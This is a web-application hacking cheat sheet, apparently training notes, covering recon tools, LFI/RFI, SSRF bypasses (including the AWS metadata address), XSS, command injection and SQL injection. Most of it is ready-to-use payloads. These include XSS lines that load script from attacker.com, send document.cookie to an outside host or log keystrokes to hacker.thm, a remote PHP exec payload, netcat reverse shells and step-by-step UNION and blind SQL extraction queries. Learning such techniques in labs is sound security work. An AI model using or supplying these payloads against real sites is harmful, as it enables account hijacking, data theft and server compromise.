- ffuf/GoBuster/Dirb: Recursively request HTTP endpoints with different sub-pages or form values
- BurpSuite: HTTP(S) request related exploits
- RequestBin.com: Monitor HTTP requests on a site
curl
-X METHOD
-F "FORM=DATA"
-H "Content-Type: TYPE"
-D "{JSON:DATA}"
--url "URL"ffuf
-w WORDLIST
-u https://example.com/FUZZ
-X METHOD
-d "json=FUZZ"
-H "Content-Type: TYPE"
-H "Cookie: name=value"
-mr "match regex for valid"
-fc FILTER_OUT_STATUS_CODEdirb
https://example.com/ WORDLISTgobuster
dir
--url https://example.com/
-w WORDLIST nc
-l # Listen Mode
-n # No DNS Lookup
-v # Verbose
-p PORTrobots.txt: Contains directories not cached by search enginesfavicon: Could contain leftover framework build icon [https://wiki.owasp.org/index.php/OWASP_favicon_database]sitemap.xml: Contains all directories to be cached by search engines
site:example.cominurl:adminfiletype:pdfintitle:admin
- Wappalyzer: Automatically finds site frameworks, platforms, and libraries
- See "Useful Programs"
Insecure Direct Object Reference - Changing parameter inputs to effect the returned value
- Could be encrypted in MD5, Base64, and other hashes
Local File Inclusion - Accessing files in a PHP file server outside of the intended directory
/index.php?file=/etc/passwd- Traditional/index.php?file=../../etc/passwd- Directory Based/index.php?file=SubFolder/../../etc/passwd- Sub-Folder Based/index.php?file=../../etc/passwd0x00- Null Byte 1/index.php?file=../../etc/passwd%00- Null Byte 2/index.php?file=....//....//etc//passwd- Filtered
- Try switching request methods
Remote File Inclusion - Runs PHP file from remote server [RCE]
- (Host PHP at http://example.com/payload.txt)
/index.php?file=http://example.com/payload.txt
echo "<?php
print exec('hostname');
?>" > payload.txt
python3 -m http.server
# Replace 0.0.0.0 with public IPServer-Side Request Forgery - Change request URLs to access different data or steal hidden headers
- https://example.com/form?server=http://api.example.com/req - Link
- Exploit - https://example.com/form?server=http://api.example.com/admin
- Requests - http://api.example.com/admin
- https://example.com/form?server=api - Subdomain
- https://example.com/member?path=/req - Path
- Exploit - https://example.com/member?path=/../admin
- Requests - http://api.example.com/admin
- Domain rewrites
- [Rule denies if using a blocked subdomain (admin.example.com)]
- localhost
- 0.0.0.0
- 127.0.0.1
- 127.0.0.1.nip.io
- Fake Domain
- [Rule only accepts if domain starts with example.com]
- Host enemy API on example.com.yourdomain.com
- Open Redirect
- [Rule only accepts if domain starts with example.com]
- [https://example.com/link?url=https://anything.com redirects to https://anything.com]
- Host enemy API at anything.com
- Sub-Directories
- [Rule denies if page starts with /admin]
- Request "/x/../admin"
- 169.254.169.254 - Contains Metadata on AWS Machines
Cross-Site Scripting - JavaScript code injected into site to be ran by other users
URL Query that is not validated and injected straight to HTML
URL - https://example.com/page?error=Invalid Input Detected
Code:
<div class="alert alert-danger">
<p>Invalid Input Detected</p>
<div>
Exploit: https://example.com/page?error=<script src="https://attacker.com/payload.js"></script>
Code:
<div class="alert alert-danger">
<p><script src="https://attacker.com/payload.js"></script></p>
<div>
Saved data that is stored in a database and added to HTML
- Users to post comments
- Profile information
- Bios
- Website listings
Vulnerability - document.write("<p>" + parameter + "</p>")
Exploit - <script>alert("XSS Detected!")</script>
Vulnerability - element.innerHTML="<p>" + parameter + "</p>
Exploit - <img src=1 onerror=alert("XSS Detected!")>
- Close the string, run the payload, then escape the original closing string
Vulnerability -
element.innerHTML='parameter'
Exploit - ';alert("XSS Detected");//
Vulnerability - eval(var data = parameter)
Exploit - <script>alert(\'XSS Detected!\')</script>
Vulnerability - <img src="parameter">
Exploit - x" onload="alert('XSS Detected!')
Vulnerability - <img src="parameter">
Exploit - /images/valid.png" onload="alert('XSS Detected!')
- Contact form to staff member
- Could reveal portal URL, cookies, etc
<script>alert('XSS');</script>- Proof Of Concept to show XSS attack worked<script>fetch('https://example.com/steal?cookie=' + btoa(document.cookie));</script>- Steal user cookie and send it to API<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>- Keylog and send to API<script>user.changeEmail('attacker@example.com');</script>- Call site function to change users email
A type of RCE that will execute Linux commands under the same user as the program
Code:
$command = "grep param /var/www/html/file.txt";
exec($command);
Vulnerability - param="" /etc/passwd
Code:
subprocess.Popen(f"cat /var/www/html/{param}", shell=True, stdout=subproccess.PIPE).stdout.read()
Vulnerability - param=../../../etc/passwd
"\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" = "/etc/passwd"- Hexadecimal escaped characters"nnetcatetcat" = "netcat"- Replacement bypassing
whoami- Displays the user the application is running underls- Finds files in current directory, used to find config files, source code, env files, etcping- Hangs the application until ping is complete to detect a Blind RCEsleep- Hangs application to detect Blind RCEnc- Spawn a reverse shell to allow further commands to be run
whoami- Displays the user the application is running underdir- Finds files in current directory, used to find config files, source code, env files, etcping- Hangs the application until ping is complete to detect a Blind RCEtimeout- Hangs application to detect Blind RCE
- If adding parameter to a command, use
|or;to create a new command
SQL Injection - Exploits that allow users to modify or read from an SQL Database
SELECT * from blog where id=param and private=0 LIMIT 1;- Exploit -
https://example.com/page?param=1;-- - Command -
SELECT * from blog where id=1;-- and private=0 LIMIT 1;
- Exploit -
https://example.com/page?param=1 UNION SELECT 1;--- Find amount of columnshttps://example.com/page?param=1 UNION SELECT 1,2;--- Add more until error goes awayhttps://example.com/page?param=0 UNION SELECT 1,2,3;--- Make first query return nothing so SQL data is returnedhttps://example.com/page?param=0 UNION SELECT 1,2,database();--- Find name of databasehttps://example.com/page?param=0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = NAME;--- Find table nameshttps://example.com/page?param=0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = TABLE_NAME;--- Find columnshttps://example.com/page?param=0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM TABLE_NAME;--- Return data from columns
select * from users where username='' and password='' OR 1=1;
Find exploit to return 2 different values depending on error
https://website.thm/checkuser?username=admin- Returns taken:truehttps://website.thm/checkuser?username=admin123- Returns taken:falsehttps://website.thm/checkuser?username=admin123' UNION SELECT 1;--- Returns taken:false meaning there is an errorhttps://website.thm/checkuser?username=admin123' UNION SELECT 1,2;--- Add more until error goes awayhttps://website.thm/checkuser?username=admin123' UNION SELECT 1,2,3;--- Returns taken:true. Correct amount of columnshttps://website.thm/checkuser?username=admin123' UNION SELECT 1,2,3 where database() like 'a%';--- Returns taken:false. Database name does not start with 'a'https://website.thm/checkuser?username=admin123' UNION SELECT 1,2,3 where database() like NAME;--- Bruteforce letters until entire database name uncoveredhttps://website.thm/checkuser?username=admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE TABLE_SCHEMA=NAME and table_name like 'a%';--- Returns taken:false. Table name(s) do not start with 'a'https://website.thm/checkuser?username=admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE TABLE_SCHEMA=NAME and table_name like TABLE_NAME;--- Bruteforce letters until entire table name uncoveredhttps://website.thm/checkuser?username=admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=NAME and table_name like TABLE_NAME and column_name like 'a%';--- Returns taken:false. column name(s) do not start with 'a'https://website.thm/checkuser?username=admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=NAME and table_name like TABLE_NAME and column_name like COLUMN_NAME1;--- Bruteforce letters until entire column name uncoveredhttps://website.thm/checkuser?username=admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=NAME and table_name like TABLE_NAME and column_name like 'a%' and column_name != COLUMN_NAME1;--- Returns taken:false. column name(s) do not start with 'a'https://website.thm/checkuser?username=admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=NAME and table_name like TABLE_NAME and column_name like COLUMN_NAME2 and column_name != COLUMN_NAME1;--- Bruteforce letters until entire column name uncoveredhttps://website.thm/checkuser?username=admin123' UNION SELECT 1,2,3 FROM TABLE_NAME where COLUMN_NAME1 like 'a%';--- Returns taken:true. some data starts with 'a'https://website.thm/checkuser?username=admin123' UNION SELECT 1,2,3 FROM TABLE_NAME where COLUMN_NAME1 like DATA1 and COLUMN_NAME2 like 'a%';--- Returns taken:false. no data starts with 'a'https://website.thm/checkuser?username=admin123' UNION SELECT 1,2,3 FROM TABLE_NAME where COLUMN_NAME1 like DATA and COLUMN_NAME2 like DATA2;--- Bruteforce letters until all data revealed
- Same as Boolean based, but calls to Union Select should start with
UNION SELECT SLEEP(1)- If the time taken to return data is less than 1 second, 0 results matches query
- If the time taken to return data is ~1 second, 1 result matches query
- If the time taken to return data is ~X seconds, X results matches query